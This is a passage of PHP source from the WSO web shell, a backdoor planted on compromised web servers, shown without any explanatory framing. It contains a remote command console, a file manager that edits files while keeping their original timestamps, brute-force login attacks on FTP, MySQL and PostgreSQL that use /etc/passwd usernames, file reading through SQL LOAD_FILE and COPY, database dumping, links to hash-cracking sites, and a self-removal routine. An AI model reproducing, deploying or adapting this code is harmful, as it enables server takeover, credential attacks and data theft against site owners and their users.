543 else return (($a['size'] < $b['size']) ? -1 : 1) * ($GLOBALS['sort'][1] ? 1 : -1);
544 }
545 usort($files, "wsoCmp");
546 usort($dirs, "wsoCmp");
547 $files = array_merge($dirs, $files);
548 $l = 0;
549 foreach ($files as $f) {
550 echo '<tr' . ($l ? ' class=l1' : '') . '><td><input type=checkbox name="f[]" value="' . urlencode($f['name']) . '" class=chkbx></td><td><a href=# onclick="' . (($f['type'] == 'file') ? 'g(\'FilesTools\',null,\'' . urlencode($f['name']) . '\', \'view\')">' . htmlspecialchars($f['name']) : 'g(\'FilesMan\',\'' . $f['path'] . '\');" ' . (empty($f['link']) ? '' : "title='{$f['link']}'") . '><b>[ ' . htmlspecialchars($f['name']) . ' ]</b>') . '</a></td><td>' . (($f['type'] == 'file') ? wsoViewSize($f['size']) : $f['type']) . '</td><td>' . $f['modify'] . '</td><td>' . $f['owner'] . '/' . $f['group'] . '</td><td><a href=# onclick="g(\'FilesTools\',null,\'' . urlencode($f['name']) . '\',\'chmod\')">' . $f['perms'] . '</td><td><a href="#" onclick="g(\'FilesTools\',null,\'' . urlencode($f['name']) . '\', \'rename\')">R</a> <a href="#" onclick="g(\'FilesTools\',null,\'' . urlencode($f['name']) . '\', \'touch\')">T</a>' . (($f['type'] == 'file') ? ' <a href="#" onclick="g(\'FilesTools\',null,\'' . urlencode($f['name']) . '\', \'edit\')">E</a> <a href="#" onclick="g(\'FilesTools\',null,\'' . urlencode($f['name']) . '\', \'download\')">D</a>' : '') . '</td></tr>';
551 $l = $l ? 0 : 1;
552 }
553 echo "<tr><td colspan=7>
554 <input type=hidden name=a value='FilesMan'>
555 <input type=hidden name=c value='" . htmlspecialchars($GLOBALS['cwd']) . "'>
556 <input type=hidden name=charset value='" . (isset($_POST['charset']) ? $_POST['charset'] : '') . "'>
557 <select name='p1'><option value='copy'>Copy</option><option value='move'>Move</option><option value='delete'>Delete</option>";
558 if (class_exists('ZipArchive')) echo "<option value='zip'>Compress (zip)</option><option value='unzip'>Uncompress (zip)</option>";
559 echo "<option value='tar'>Compress (tar.gz)</option>";
560 if (!empty($_COOKIE['act']) && @count($_COOKIE['f'])) echo "<option value='paste'>Paste / Compress</option>";
561 echo "</select> ";
562 if (!empty($_COOKIE['act']) && @count($_COOKIE['f']) && (($_COOKIE['act'] == 'zip') || ($_COOKIE['act'] == 'tar'))) echo "file name: <input type=text name=p2 value='wso_" . date("Ymd_His") . "." . ($_COOKIE['act'] == 'zip' ? 'zip' : 'tar.gz') . "'> ";
563 echo "<input type='submit' value='>>'></td></tr></form></table></div>";
564 wsoFooter();
565 }
566 function actionStringTools() {
567 if (!function_exists('hex2bin')) {
568 function hex2bin($p) {
569 return decbin(hexdec($p));
570 }
571 }
572 if (!function_exists('binhex')) {
573 function binhex($p) {
574 return dechex(bindec($p));
575 }
576 }
577 if (!function_exists('hex2ascii')) {
578 function hex2ascii($p) {
579 $r = '';
580 for ($i = 0;$i < strLen($p);$i+= 2) {
581 $r.= chr(hexdec($p[$i] . $p[$i + 1]));
582 }
583 return $r;
584 }
585 }
586 if (!function_exists('ascii2hex')) {
587 function ascii2hex($p) {
588 $r = '';
589 for ($i = 0;$i < strlen($p);++$i) $r.= sprintf('%02X', ord($p[$i]));
590 return strtoupper($r);
591 }
592 }
593 if (!function_exists('full_urlencode')) {
594 function full_urlencode($p) {
595 $r = '';
596 for ($i = 0;$i < strlen($p);++$i) $r.= '%' . dechex(ord($p[$i]));
597 return strtoupper($r);
598 }
599 }
600 $stringTools = array('Base64 encode' => 'base64_encode', 'Base64 decode' => 'base64_decode', 'Url encode' => 'urlencode', 'Url decode' => 'urldecode', 'Full urlencode' => 'full_urlencode', 'md5 hash' => 'md5', 'sha1 hash' => 'sha1', 'crypt' => 'crypt', 'CRC32' => 'crc32', 'ASCII to HEX' => 'ascii2hex', 'HEX to ASCII' => 'hex2ascii', 'HEX to DEC' => 'hexdec', 'HEX to BIN' => 'hex2bin', 'DEC to HEX' => 'dechex', 'DEC to BIN' => 'decbin', 'BIN to HEX' => 'binhex', 'BIN to DEC' => 'bindec', 'String to lower case' => 'strtolower', 'String to upper case' => 'strtoupper', 'Htmlspecialchars' => 'htmlspecialchars', 'String length' => 'strlen',);
601 if (isset($_POST['ajax'])) {
602 WSOsetcookie(md5($_SERVER['HTTP_HOST']) . 'ajax', true);
603 ob_start();
604 if (in_array($_POST['p1'], $stringTools)) echo $_POST['p1']($_POST['p2']);
605 $temp = "document.getElementById('strOutput').style.display='';document.getElementById('strOutput').innerHTML='" . addcslashes(htmlspecialchars(ob_get_clean()), "
606
607 \'") . "';
608";
609 echo strlen($temp), "
610", $temp;
611 exit;
612 }
613 if (empty($_POST['ajax']) && !empty($_POST['p1'])) WSOsetcookie(md5($_SERVER['HTTP_HOST']) . 'ajax', 0);
614 wsoHeader();
615 echo '<h1>String conversions</h1><div class=content>';
616 echo "<form name='toolsForm' onSubmit='if(this.ajax.checked){a(null,null,this.selectTool.value,this.input.value);}else{g(null,null,this.selectTool.value,this.input.value);} return false;'><select name='selectTool'>";
617 foreach ($stringTools as $k => $v) echo "<option value='" . htmlspecialchars($v) . "'>" . $k . "</option>";
618 echo "</select><input type='submit' value='>>'/> <input type=checkbox name=ajax value=1 " . (@$_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax'] ? 'checked' : '') . "> send using AJAX<br><textarea name='input' style='margin-top:5px' class=bigarea>" . (empty($_POST['p1']) ? '' : htmlspecialchars(@$_POST['p2'])) . "</textarea></form><pre class='ml1' style='" . (empty($_POST['p1']) ? 'display:none;' : '') . "margin-top:5px' id='strOutput'>";
619 if (!empty($_POST['p1'])) {
620 if (in_array($_POST['p1'], $stringTools)) echo htmlspecialchars($_POST['p1']($_POST['p2']));
621 }
622 echo "</pre></div><br><h1>Search files:</h1><div class=content>
623 <form onsubmit=\"g(null,this.cwd.value,null,this.text.value,this.filename.value);return false;\"><table cellpadding='1' cellspacing='0' width='50%'>
624 <tr><td width='1%'>Text:</td><td><input type='text' name='text' style='width:100%'></td></tr>
625 <tr><td>Path:</td><td><input type='text' name='cwd' value='" . htmlspecialchars($GLOBALS['cwd']) . "' style='width:100%'></td></tr>
626 <tr><td>Name:</td><td><input type='text' name='filename' value='*' style='width:100%'></td></tr>
627 <tr><td></td><td><input type='submit' value='>>'></td></tr>
628 </table></form>";
629 function wsoRecursiveGlob($path) {
630 if (substr($path, -1) != '/') $path.= '/';
631 $paths = @array_unique(@array_merge(@glob($path . $_POST['p3']), @glob($path . '*', GLOB_ONLYDIR)));
632 if (is_array($paths) && @count($paths)) {
633 foreach ($paths as $item) {
634 if (@is_dir($item)) {
635 if ($path != $item) wsoRecursiveGlob($item);
636 } else {
637 if (empty($_POST['p2']) || @strpos(file_get_contents($item), $_POST['p2']) !== false) echo "<a href='#' onclick='g(\"FilesTools\",null,\"" . urlencode($item) . "\", \"view\",\"\")'>" . htmlspecialchars($item) . "</a><br>";
638 }
639 }
640 }
641 }
642 if (@$_POST['p3']) wsoRecursiveGlob($_POST['c']);
643 echo "</div><br><h1>Search for hash:</h1><div class=content>
644 <form method='post' target='_blank' name='hf'>
645 <input type='text' name='hash' style='width:200px;'><br>
646 <input type='hidden' name='act' value='find'/>
647 <input type='button' value='hashcracking.ru' onclick=\"document.hf.action='https://hashcracking.ru/index.php';document.hf.submit()\"><br>
648 <input type='button' value='md5.rednoize.com' onclick=\"document.hf.action='http://md5.rednoize.com/?q='+document.hf.hash.value+'&s=md5';document.hf.submit()\"><br>
649 <input type='button' value='crackfor.me' onclick=\"document.hf.action='http://crackfor.me/index.php';document.hf.submit()\"><br>
650 </form></div>";
651 wsoFooter();
652 }
653 function actionFilesTools() {
654 if (isset($_POST['p1'])) $_POST['p1'] = urldecode($_POST['p1']);
655 if (@$_POST['p2'] == 'download') {
656 if (@is_file($_POST['p1']) && @is_readable($_POST['p1'])) {
657 ob_start("ob_gzhandler", 4096);
658 header("Content-Disposition: attachment; filename=" . basename($_POST['p1']));
659 if (function_exists("mime_content_type")) {
660 $type = @mime_content_type($_POST['p1']);
661 header("Content-Type: " . $type);
662 } else header("Content-Type: application/octet-stream");
663 $fp = @fopen($_POST['p1'], "r");
664 if ($fp) {
665 while (!@feof($fp)) echo @fread($fp, 1024);
666 fclose($fp);
667 }
668 }
669 exit;
670 }
671 if (@$_POST['p2'] == 'mkfile') {
672 if (!file_exists($_POST['p1'])) {
673 $fp = @fopen($_POST['p1'], 'w');
674 if ($fp) {
675 $_POST['p2'] = "edit";
676 fclose($fp);
677 }
678 }
679 }
680 wsoHeader();
681 echo '<h1>File tools</h1><div class=content>';
682 if (!file_exists(@$_POST['p1'])) {
683 echo 'File not exists';
684 wsoFooter();
685 return;
686 }
687 $uid = @posix_getpwuid(@fileowner($_POST['p1']));
688 if (!$uid) {
689 $uid['name'] = @fileowner($_POST['p1']);
690 $gid['name'] = @filegroup($_POST['p1']);
691 } else $gid = @posix_getgrgid(@filegroup($_POST['p1']));
692 echo '<span>Name:</span> ' . htmlspecialchars(@basename($_POST['p1'])) . ' <span>Size:</span> ' . (is_file($_POST['p1']) ? wsoViewSize(filesize($_POST['p1'])) : '-') . ' <span>Permission:</span> ' . wsoPermsColor($_POST['p1']) . ' <span>Owner/Group:</span> ' . $uid['name'] . '/' . $gid['name'] . '<br>';
693 echo '<span>Change time:</span> ' . date('Y-m-d H:i:s', filectime($_POST['p1'])) . ' <span>Access time:</span> ' . date('Y-m-d H:i:s', fileatime($_POST['p1'])) . ' <span>Modify time:</span> ' . date('Y-m-d H:i:s', filemtime($_POST['p1'])) . '<br><br>';
694 if (empty($_POST['p2'])) $_POST['p2'] = 'view';
695 if (is_file($_POST['p1'])) $m = array('View', 'Highlight', 'Download', 'Hexdump', 'Edit', 'Chmod', 'Rename', 'Touch');
696 else $m = array('Chmod', 'Rename', 'Touch');
697 foreach ($m as $v) echo '<a href=# onclick="g(null,null,\'' . urlencode($_POST['p1']) . '\',\'' . strtolower($v) . '\')">' . ((strtolower($v) == @$_POST['p2']) ? '<b>[ ' . $v . ' ]</b>' : $v) . '</a> ';
698 echo '<br><br>';
699 switch ($_POST['p2']) {
700 case 'view':
701 echo '<pre class=ml1>';
702 $fp = @fopen($_POST['p1'], 'r');
703 if ($fp) {
704 while (!@feof($fp)) echo htmlspecialchars(@fread($fp, 1024));
705 @fclose($fp);
706 }
707 echo '</pre>';
708 break;
709 case 'highlight':
710 if (@is_readable($_POST['p1'])) {
711 echo '<div class=ml1 style="background-color: #e1e1e1;color:black;">';
712 $code = @highlight_file($_POST['p1'], true);
713 echo str_replace(array('<span ', '</span>'), array('<font ', '</font>'), $code) . '</div>';
714 }
715 break;
716 case 'chmod':
717 if (!empty($_POST['p3'])) {
718 $perms = 0;
719 for ($i = strlen($_POST['p3']) - 1;$i >= 0;--$i) $perms+= (int)$_POST['p3'][$i] * pow(8, (strlen($_POST['p3']) - $i - 1));
720 if (!@chmod($_POST['p1'], $perms)) echo 'Can\'t set permissions!<br><script>document.mf.p3.value="";</script>';
721 }
722 clearstatcache();
723 echo '<script>p3_="";</script><form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,this.chmod.value);return false;"><input type=text name=chmod value="' . substr(sprintf('%o', fileperms($_POST['p1'])), -4) . '"><input type=submit value=">>"></form>';
724 break;
725 case 'edit':
726 if (!is_writable($_POST['p1'])) {
727 echo 'File isn\'t writeable';
728 break;
729 }
730 if (!empty($_POST['p3'])) {
731 $time = @filemtime($_POST['p1']);
732 $_POST['p3'] = substr($_POST['p3'], 1);
733 $fp = @fopen($_POST['p1'], "w");
734 if ($fp) {
735 @fwrite($fp, $_POST['p3']);
736 @fclose($fp);
737 echo 'Saved!<br><script>p3_="";</script>';
738 @touch($_POST['p1'], $time, $time);
739 }
740 }
741 echo '<form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,\'1\'+this.text.value);return false;"><textarea name=text class=bigarea>';
742 $fp = @fopen($_POST['p1'], 'r');
743 if ($fp) {
744 while (!@feof($fp)) echo htmlspecialchars(@fread($fp, 1024));
745 @fclose($fp);
746 }
747 echo '</textarea><input type=submit value=">>"></form>';
748 break;
749 case 'hexdump':
750 $c = @file_get_contents($_POST['p1']);
751 $n = 0;
752 $h = array('00000000<br>', '', '');
753 $len = strlen($c);
754 for ($i = 0;$i < $len;++$i) {
755 $h[1].= sprintf('%02X', ord($c[$i])) . ' ';
756 switch (ord($c[$i])) {
757 case 0:
758 $h[2].= ' ';
759 break;
760 case 9:
761 $h[2].= ' ';
762 break;
763 case 10:
764 $h[2].= ' ';
765 break;
766 case 13:
767 $h[2].= ' ';
768 break;
769 default:
770 $h[2].= $c[$i];
771 break;
772 }
773 $n++;
774 if ($n == 32) {
775 $n = 0;
776 if ($i + 1 < $len) {
777 $h[0].= sprintf('%08X', $i + 1) . '<br>';
778 }
779 $h[1].= '<br>';
780 $h[2].= "
781";
782 }
783 }
784 echo '<table cellspacing=1 cellpadding=5 bgcolor=#222222><tr><td bgcolor=#333333><span style="font-weight: normal;"><pre>' . $h[0] . '</pre></span></td><td bgcolor=#282828><pre>' . $h[1] . '</pre></td><td bgcolor=#333333><pre>' . htmlspecialchars($h[2]) . '</pre></td></tr></table>';
785 break;
786 case 'rename':
787 if (!empty($_POST['p3'])) {
788 if (!@rename($_POST['p1'], $_POST['p3'])) echo 'Can\'t rename!<br>';
789 else die('<script>g(null,null,"' . urlencode($_POST['p3']) . '",null,"")</script>');
790 }
791 echo '<form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,this.name.value);return false;"><input type=text name=name value="' . htmlspecialchars($_POST['p1']) . '"><input type=submit value=">>"></form>';
792 break;
793 case 'touch':
794 if (!empty($_POST['p3'])) {
795 $time = strtotime($_POST['p3']);
796 if ($time) {
797 if (!touch($_POST['p1'], $time, $time)) echo 'Fail!';
798 else echo 'Touched!';
799 } else echo 'Bad time format!';
800 }
801 clearstatcache();
802 echo '<script>p3_="";</script><form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,this.touch.value);return false;"><input type=text name=touch value="' . date("Y-m-d H:i:s", @filemtime($_POST['p1'])) . '"><input type=submit value=">>"></form>';
803 break;
804 }
805 echo '</div>';
806 wsoFooter();
807 }
808 function actionConsole() {
809 if (!empty($_POST['p1']) && !empty($_POST['p2'])) {
810 WSOsetcookie(md5($_SERVER['HTTP_HOST']) . 'stderr_to_out', true);
811 $_POST['p1'].= ' 2>&1';
812 } elseif (!empty($_POST['p1'])) WSOsetcookie(md5($_SERVER['HTTP_HOST']) . 'stderr_to_out', 0);
813 if (isset($_POST['ajax'])) {
814 WSOsetcookie(md5($_SERVER['HTTP_HOST']) . 'ajax', true);
815 ob_start();
816 echo "d.cf.cmd.value='';
817";
818 $temp = @iconv($_POST['charset'], 'UTF-8', addcslashes("
819$ " . $_POST['p1'] . "
820" . wsoEx($_POST['p1']), "
821
822 \'"));
823 if (preg_match("!.*cd\s+([^;]+)$!", $_POST['p1'], $match)) {
824 if (@chdir($match[1])) {
825 $GLOBALS['cwd'] = @getcwd();
826 echo "c_='" . $GLOBALS['cwd'] . "';";
827 }
828 }
829 echo "d.cf.output.value+='" . $temp . "';";
830 echo "d.cf.output.scrollTop = d.cf.output.scrollHeight;";
831 $temp = ob_get_clean();
832 echo strlen($temp), "
833", $temp;
834 exit;
835 }
836 if (empty($_POST['ajax']) && !empty($_POST['p1'])) WSOsetcookie(md5($_SERVER['HTTP_HOST']) . 'ajax', 0);
837 wsoHeader();
838 echo "<script>
839if(window.Event) window.captureEvents(Event.KEYDOWN);
840var cmds = new Array('');
841var cur = 0;
842function kp(e) {
843 var n = (window.Event) ? e.which : e.keyCode;
844 if(n == 38) {
845 cur--;
846 if(cur>=0)
847 document.cf.cmd.value = cmds[cur];
848 else
849 cur++;
850 } else if(n == 40) {
851 cur++;
852 if(cur < cmds.length)
853 document.cf.cmd.value = cmds[cur];
854 else
855 cur--;
856 }
857}
858function add(cmd) {
859 cmds.pop();
860 cmds.push(cmd);
861 cmds.push('');
862 cur = cmds.length-1;
863}
864</script>";
865 echo '<h1>Console</h1><div class=content><form name=cf onsubmit="if(d.cf.cmd.value==\'clear\'){d.cf.output.value=\'\';d.cf.cmd.value=\'\';return false;}add(this.cmd.value);if(this.ajax.checked){a(null,null,this.cmd.value,this.show_errors.checked?1:\'\');}else{g(null,null,this.cmd.value,this.show_errors.checked?1:\'\');} return false;"><select name=alias>';
866 foreach ($GLOBALS['aliases'] as $n => $v) {
867 if ($v == '') {
868 echo '<optgroup label="-' . htmlspecialchars($n) . '-"></optgroup>';
869 continue;
870 }
871 echo '<option value="' . htmlspecialchars($v) . '">' . $n . '</option>';
872 }
873 echo '</select><input type=button onclick="add(d.cf.alias.value);if(d.cf.ajax.checked){a(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\'\');}else{g(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\'\');}" value=">>"> <nobr><input type=checkbox name=ajax value=1 ' . (@$_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax'] ? 'checked' : '') . '> send using AJAX <input type=checkbox name=show_errors value=1 ' . (!empty($_POST['p2']) || $_COOKIE[md5($_SERVER['HTTP_HOST']) . 'stderr_to_out'] ? 'checked' : '') . '> redirect stderr to stdout (2>&1)</nobr><br/><textarea class=bigarea name=output style="border-bottom:0;margin:0;" readonly>';
874 if (!empty($_POST['p1'])) {
875 echo htmlspecialchars("$ " . $_POST['p1'] . "
876" . wsoEx($_POST['p1']));
877 }
878 echo '</textarea><table style="border:1px solid #df5;background-color:#555;border-top:0px;" cellpadding=0 cellspacing=0 width="100%"><tr><td width="1%">$</td><td><input type=text name=cmd style="border:0px;width:100%;" onkeydown="kp(event);"></td></tr></table>';
879 echo '</form></div><script>d.cf.cmd.focus();</script>';
880 wsoFooter();
881 }
882 function actionLogout() {
883 setcookie(md5($_SERVER['HTTP_HOST']), '', time() - 3600);
884 die('bye!');
885 }
886 function actionSelfRemove() {
887 if ($_POST['p1'] == 'yes') if (@unlink(preg_replace('!\(\d+\)\s.*!', '', __FILE__))) die('Shell has been removed');
888 else echo 'unlink error!';
889 if ($_POST['p1'] != 'yes') wsoHeader();
890 echo '<h1>Suicide</h1><div class=content>Really want to remove the shell?<br><a href=# onclick="g(null,null,\'yes\')">Yes</a></div>';
891 wsoFooter();
892 }
893 function actionBruteforce() {
894 wsoHeader();
895 if (isset($_POST['proto'])) {
896 echo '<h1>Results</h1><div class=content><span>Type:</span> ' . htmlspecialchars($_POST['proto']) . ' <span>Server:</span> ' . htmlspecialchars($_POST['server']) . '<br>';
897 if ($_POST['proto'] == 'ftp') {
898 function wsoBruteForce($ip, $port, $login, $pass) {
899 $fp = @ftp_connect($ip, $port ? $port : 21);
900 if (!$fp) return false;
901 $res = @ftp_login($fp, $login, $pass);
902 @ftp_close($fp);
903 return $res;
904 }
905 } elseif ($_POST['proto'] == 'mysql') {
906 function wsoBruteForce($ip, $port, $login, $pass) {
907 $res = @mysql_connect($ip . ':' . ($port ? $port : 3306), $login, $pass);
908 @mysql_close($res);
909 return $res;
910 }
911 } elseif ($_POST['proto'] == 'pgsql') {
912 function wsoBruteForce($ip, $port, $login, $pass) {
913 $str = "host='" . $ip . "' port='" . $port . "' user='" . $login . "' password='" . $pass . "' dbname=postgres";
914 $res = @pg_connect($str);
915 @pg_close($res);
916 return $res;
917 }
918 }
919 $success = 0;
920 $attempts = 0;
921 $server = explode(":", $_POST['server']);
922 if ($_POST['type'] == 1) {
923 $temp = @file('/etc/passwd');
924 if (is_array($temp)) foreach ($temp as $line) {
925 $line = explode(":", $line);
926 ++$attempts;
927 if (wsoBruteForce(@$server[0], @$server[1], $line[0], $line[0])) {
928 $success++;
929 echo '<b>' . htmlspecialchars($line[0]) . '</b>:' . htmlspecialchars($line[0]) . '<br>';
930 }
931 if (@$_POST['reverse']) {
932 $tmp = "";
933 for ($i = strlen($line[0]) - 1;$i >= 0;--$i) $tmp.= $line[0][$i];
934 ++$attempts;
935 if (wsoBruteForce(@$server[0], @$server[1], $line[0], $tmp)) {
936 $success++;
937 echo '<b>' . htmlspecialchars($line[0]) . '</b>:' . htmlspecialchars($tmp);
938 }
939 }
940 }
941 } elseif ($_POST['type'] == 2) {
942 $temp = @file($_POST['dict']);
943 if (is_array($temp)) foreach ($temp as $line) {
944 $line = trim($line);
945 ++$attempts;
946 if (wsoBruteForce($server[0], @$server[1], $_POST['login'], $line)) {
947 $success++;
948 echo '<b>' . htmlspecialchars($_POST['login']) . '</b>:' . htmlspecialchars($line) . '<br>';
949 }
950 }
951 }
952 echo "<span>Attempts:</span> $attempts <span>Success:</span> $success</div><br>";
953 }
954 echo '<h1>Bruteforce</h1><div class=content><table><form method=post><tr><td><span>Type</span></td>' . '<td><select name=proto><option value=ftp>FTP</option><option value=mysql>MySql</option><option value=pgsql>PostgreSql</option></select></td></tr><tr><td>' . '<input type=hidden name=c value="' . htmlspecialchars($GLOBALS['cwd']) . '">' . '<input type=hidden name=a value="' . htmlspecialchars($_POST['a']) . '">' . '<input type=hidden name=charset value="' . htmlspecialchars($_POST['charset']) . '">' . '<span>Server:port</span></td>' . '<td><input type=text name=server value="127.0.0.1"></td></tr>' . '<tr><td><span>Brute type</span></td>' . '<td><label><input type=radio name=type value="1" checked> /etc/passwd</label></td></tr>' . '<tr><td></td><td><label style="padding-left:15px"><input type=checkbox name=reverse value=1 checked> reverse (login -> nigol)</label></td></tr>' . '<tr><td></td><td><label><input type=radio name=type value="2"> Dictionary</label></td></tr>' . '<tr><td></td><td><table style="padding-left:15px"><tr><td><span>Login</span></td>' . '<td><input type=text name=login value="root"></td></tr>' . '<tr><td><span>Dictionary</span></td>' . '<td><input type=text name=dict value="' . htmlspecialchars($GLOBALS['cwd']) . 'passwd.dic"></td></tr></table>' . '</td></tr><tr><td></td><td><input type=submit value=">>"></td></tr></form></table>';
955 echo '</div><br>';
956 wsoFooter();
957 }
958 function actionSql() {
959 class DbClass {
960 var $type;
961 var $link;
962 var $res;
963 function DbClass($type) {
964 $this->type = $type;
965 }
966 function connect($host, $user, $pass, $dbname) {
967 switch ($this->type) {
968 case 'mysql':
969 if ($this->link = @mysql_connect($host, $user, $pass, true)) return true;
970 break;
971 case 'pgsql':
972 $host = explode(':', $host);
973 if (!$host[1]) $host[1] = 5432;
974 if ($this->link = @pg_connect("host={$host[0]} port={$host[1]} user=$user password=$pass dbname=$dbname")) return true;
975 break;
976 }
977 return false;
978 }
979 function selectdb($db) {
980 switch ($this->type) {
981 case 'mysql':
982 if (@mysql_select_db($db)) return true;
983 break;
984 }
985 return false;
986 }
987 function query($str) {
988 switch ($this->type) {
989 case 'mysql':
990 return $this->res = @mysql_query($str);
991 break;
992 case 'pgsql':
993 return $this->res = @pg_query($this->link, $str);
994 break;
995 }
996 return false;
997 }
998 function fetch() {
999 $res = func_num_args() ? func_get_arg(0) : $this->res;
1000 switch ($this->type) {
1001 case 'mysql':
1002 return @mysql_fetch_assoc($res);
1003 break;
1004 case 'pgsql':
1005 return @pg_fetch_assoc($res);
1006 break;
1007 }
1008 return false;
1009 }
1010 function listDbs() {
1011 switch ($this->type) {
1012 case 'mysql':
1013 return $this->query("SHOW databases");
1014 break;
1015 case 'pgsql':
1016 return $this->res = $this->query("SELECT datname FROM pg_database WHERE datistemplate!='t'");
1017 break;
1018 }
1019 return false;
1020 }
1021 function listTables() {
1022 switch ($this->type) {
1023 case 'mysql':
1024 return $this->res = $this->query('SHOW TABLES');
1025 break;
1026 case 'pgsql':
1027 return $this->res = $this->query("select table_name from information_schema.tables where table_schema != 'information_schema' AND table_schema != 'pg_catalog'");
1028 break;
1029 }
1030 return false;
1031 }
1032 function error() {
1033 switch ($this->type) {
1034 case 'mysql':
1035 return @mysql_error();
1036 break;
1037 case 'pgsql':
1038 return @pg_last_error();
1039 break;
1040 }
1041 return false;
1042 }
1043 function setCharset($str) {
1044 switch ($this->type) {
1045 case 'mysql':
1046 if (function_exists('mysql_set_charset')) return @mysql_set_charset($str, $this->link);
1047 else $this->query('SET CHARSET ' . $str);
1048 break;
1049 case 'pgsql':
1050 return @pg_set_client_encoding($this->link, $str);
1051 break;
1052 }
1053 return false;
1054 }
1055 function loadFile($str) {
1056 switch ($this->type) {
1057 case 'mysql':
1058 return $this->fetch($this->query("SELECT LOAD_FILE('" . addslashes($str) . "') as file"));
1059 break;
1060 case 'pgsql':
1061 $this->query("CREATE TABLE wso2(file text);COPY wso2 FROM '" . addslashes($str) . "';select file from wso2;");
1062 $r = array();
1063 while ($i = $this->fetch()) $r[] = $i['file'];
1064 $this->query('drop table wso2');
1065 return array('file' => implode("
1066", $r));
1067 break;
1068 }
1069 return false;
1070 }
1071 function dump($table, $fp = false) {
1072 switch ($this->type) {
1073 case 'mysql':
1074 $res = $this->query('SHOW CREATE TABLE `' . $table . '`');
1075 $create = mysql_fetch_array($res);
1076 $sql = $create[1] . ";
1077";
1078 if ($fp) fwrite($fp, $sql);
1079 else echo ($sql);
1080 $this->query('SELECT * FROM `' . $table . '`');
1081 $i = 0;
1082 $head = true;
1083 while ($item = $this->fetch()) {
1084 $sql = '';
1085 if ($i % 1000 == 0) {
1086 $head = true;
1087 $sql = ";
1088
1089";
1090 }
1091 $columns = array();
1092 foreach ($item as $k => $v) {
1093 if ($v === null) $item[$k] = "NULL";
1094 elseif (is_int($v)) $item[$k] = $v;
1095 else $item[$k] = "'" . @mysql_real_escape_string($v) . "'";
1096 $columns[] = "`" . $k . "`";
1097 }
1098 if ($head) {
1099 $sql.= 'INSERT INTO `' . $table . '` (' . implode(", ", $columns) . ") VALUES
1100 (" . implode(", ", $item) . ')';
1101 $head = false;
1102 } else $sql.= "
1103 ,(" . implode(", ", $item) . ')';
1104 if ($fp) fwrite($fp, $sql);
1105 else echo ($sql);
1106 $i++;
1107 }
1108 if (!$head) if ($fp) fwrite($fp, ";
1109
1110");
1111 else echo (";
1112
1113");
1114 break;
1115 case 'pgsql':
1116 $this->query('SELECT * FROM ' . $table);
1117 while ($item = $this->fetch()) {
1118 $columns = array();
1119 foreach ($item as $k => $v) {
1120 $item[$k] = "'" . addslashes($v) . "'";
1121 $columns[] = $k;
1122 }
1123 $sql = 'INSERT INTO ' . $table . ' (' . implode(", ", $columns) . ') VALUES (' . implode(", ", $item) . ');' . "
1124";
1125 if ($fp) fwrite($fp, $sql);
1126 else echo ($sql);
1127 }
1128 break;
1129 }
1130 return false;
1131 }
1132 };
1133 $db = new DbClass($_POST['type']);
1134 if ((@$_POST['p2'] == 'download') && (@$_POST['p1'] != 'select')) {
1135 $db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base']);
1136 $db->selectdb($_POST['sql_base']);
1137 switch ($_POST['charset']) {
1138 case "Windows-1251":
1139 $db->setCharset('cp1251');
1140 break;
1141 case "UTF-8":
1142 $db->setCharset('utf8');
1143 break;
1144 case "KOI8-R":
1145 $db->setCharset('koi8r');
1146 break;
1147 case "KOI8-U":
1148 $db->setCharset('koi8u');
1149 break;
1150 case "cp866":
1151 $db->setCharset('cp866');
1152 break;
1153 }
1154 if (empty($_POST['file'])) {
1155 ob_start("ob_gzhandler", 4096);
1156 header("Content-Disposition: attachment; filename=dump.sql");
1157 header("Content-Type: text/plain");
1158 foreach ($_POST['tbl'] as $v) $db->dump($v);
1159 exit;
1160 } elseif ($fp = @fopen($_POST['file'], 'w')) {
1161 foreach ($_POST['tbl'] as $v) $db->dump($v, $fp);
1162 fclose($fp);
1163 unset($_POST['p2']);
1164 } else die('<script>alert("Error! Can\'t open file");window.history.back(-1)</script>');
1165 }
1166 wsoHeader();
1167 echo "
1168<h1>Sql browser</h1><div class=content>
1169<form name='sf' method='post' onsubmit='fs(this);'><table cellpadding='2' cellspacing='0'><tr>
1170<td>Type</td><td>Host</td><td>Login</td><td>Password</td><td>Database</td><td></td></tr><tr>
1171<input type=hidden name=a value=Sql><input type=hidden name=p1 value='query'><input type=hidden name=p2 value=''><input type=hidden name=c value='" . htmlspecialchars($GLOBALS['cwd']) . "'><input type=hidden name=charset value='" . (isset($_POST['charset']) ? $_POST['charset'] : '') . "'>
1172<td><select name='type'><option value='mysql' ";
1173 if (@$_POST['type'] == 'mysql') echo 'selected';
1174 echo ">MySql</option><option value='pgsql' ";
1175 if (@$_POST['type'] == 'pgsql') echo 'selected';
1176 echo ">PostgreSql</option></select></td>
1177<td><input type=text name=sql_host value=\"" . (empty($_POST['sql_host']) ? 'localhost' : htmlspecialchars($_POST['sql_host'])) . "\"></td>
1178<td><input type=text name=sql_login value=\"" . (empty($_POST['sql_login']) ? 'root' : htmlspecialchars($_POST['sql_login'])) . "\"></td>
1179<td><input type=text name=sql_pass value=\"" . (empty($_POST['sql_pass']) ? '' : htmlspecialchars($_POST['sql_pass'])) . "\"></td><td>";
1180 $tmp = "<input type=text name=sql_base value=''>";
1181 if (isset($_POST['sql_host'])) {
1182 if ($db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base'])) {
1183 switch ($_POST['charset']) {
1184 case "Windows-1251":
1185 $db->setCharset('cp1251');
1186 break;
1187 case "UTF-8":
1188 $db->setCharset('utf8');
1189 break;
1190 case "KOI8-R":
1191 $db->setCharset('koi8r');
1192 break;
1193 case "KOI8-U":
1194 $db->setCharset('koi8u');
1195 break;
1196 case "cp866":
1197 $db->setCharset('cp866');
1198 break;
1199 }
1200 $db->listDbs();
1201 echo "<select name=sql_base><option value=''></option>";
1202 while ($item = $db->fetch()) {
1203 list($key, $value) = each($item);
1204 echo '<option value="' . $value . '" ' . ($value == $_POST['sql_base'] ? 'selected' : '') . '>' . $value . '</option>';
1205 }
